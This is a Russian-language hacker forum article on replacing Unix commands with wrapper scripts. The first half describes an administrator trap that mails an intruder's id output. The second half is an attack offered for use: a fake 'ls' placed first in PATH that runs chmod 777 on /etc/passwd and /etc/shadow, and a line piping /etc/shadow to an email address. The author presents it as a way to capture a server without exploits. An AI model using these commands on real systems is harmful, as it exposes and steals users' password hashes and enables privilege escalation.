Re Achat
Бывает особо параноидальные админы удаляют с серваков компиляторы. Пытаемся установить гцц из рмп пакета... ааах облом он не работает -) Скомпиленные на других машинках сплоиты явно отказываются работать, ругаясь на сегоднящний дождь/жару и просто плохое настроение.. Что делать? вот и задумался.. пока не натолкнулся на одном из форумов на интерестную идейку, которая в принципе известна, но вот решил расписать ее поподробней.. Его может юзать как админ так и ты, c00l m3g4 h4x0r =) Итак приступим.
Если брать в расчет админа, то ему провернуть все это намного легче, т.к. он уже "по условию задачи" обладает рутом ) Что проделываем хакер, проникая в систему? чаще всего юзает команды типа
ls,
last,
who,
id,
which,
uname и т.д. И основная задача админа в случае проникновения взломщика установить своеобразные ловушки на эти команды. Постойте, у нас же нет компилятора? Зато у нас есть руки =) Все можно проделать с помощью перля, питона или просто средстави нашых никсов. Возьмём к примеру
who. Определим где она у нас находится следущим образом:
В ответ получаем что-то вроде
/usr/bin/who
Права на неё равны
–rwxr-xr-x, что сопостовимо с
755. Переименовываем
who например в
who_new. Делаем это следующим образом:
Код:
mv /usr/bin/who /usr/bin/who_new
Изменяем права на
who_new на
755, чтобы он мог выполняться:
Код:
сhmod 755 /usr/bin/who_new
Теперь чтобы выполнить
who надо выполнить в консоли
who_new (Главное не забудьте вернуть скопированному файлу права, а то ничего не будет работать). Теперь создаем некий клапан для
who. Это будет одноименный файл в
/usr/bin. Т.е. когда взломщик попытается выполнить
who, то будет запускаться наш с вами файл. Для того чтобы записать в новый
who нужные нам команды выполним последовательно
Код:
сat /usr/bin/who
/usr/bin/who_new
id | mail –n –s Your Base_Is_Under_Attack your@mail
Жмём CTRL+D и ввод закончен, все записалось в
/usr/bin/who
Первая и вторая строчка надеюсь понятна, третья же отправляет тебе на почту то, что выдала команда
id с заголовком
Your Base_Is_Under_Attack -) Ключ -n передает заголовок письма, -s запретит просмотр /etc/mail.rc, чтобы хацкер ничего не заподозрил.
Этим способом можно подменить любую исполняемую программу, главное запомнить что и как менял , а лучше записать на бумажке -))
----------------------------------------
Да, все отлично - скажите вы.. А как быть, если права у тебя не root, а жалкие nobody или обычного юзера?
Работа с исполняемыми файлами в основном в таком случае запрещена. Но у нас есть еще один инструмент в арсенале - переменная окружения
PATH Поэксперементируем с
ls
Допустим у нас есть права на запись в
/tmp. Тогда создадим следущий файл под названием
ls.
Запишем в него следущие строчки:
Код:
#! /bin/sh
сhmod 777 /etc/passwd > /dev/null
сhmod 777 /etc/shadow > /dev/null
ехес /bin/ls “$@"
Разберем, что же мы накатали. Во второй и третьей строчке содержатся команды изменения прав на файл юзеров и паролей + обнуление всех месаг, которые могут появиться на экране. В 4ой выполняется команда
ls из
/bin. Так как мы создали этот файл, то мы можем поставить любые права на него, ставим 777
Наш файл готов. Осалось сделать так, чтобы он выполнялся вместо реальной
ls. Ничего нет проще =) Для этого просто добавляем каталог
/tmp в
самое(!) начало системной переменной окружения
PATH. Для этого всеголишь подправляем файлик .bash_profile, в строчке
PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог.
Итак теперь если у пользователя хватит прав на изменение прав (скорее всего у рута), то
/etc/shadow и
/etc/passwd откроются для всеобщего обозрения -)
Можно вставить в нашу фэйковую
ls что-то вроде
cat /etc/shadow | mail your@mail (просто отсылает зашифровынные пароли на мыло). Вобщем тут можно делать все что хочешь)
Единственное что может делать админ в этом случае - проверять переменную
PATH, убрать ставящиеся по дефолту права,либо задавать полный путь до исполняемого фала, т.е. для просмотра содержимого каталога вводить каждый раз
/bin/ls -lia.. Даже законченный параноик не будет этого делать...
В статье мы научились захватывать сервак без использования палевных сплойтов, рушивших систему или просто не работающих =)
Special For Achat
(c) blackybr
PS т.к. многим личностям оказалось непонятно, то поясняю.. для превого случаю нужен РУТ (т.к. по условию вы админ!) ДЛя второго нужен просто юзэр доступ!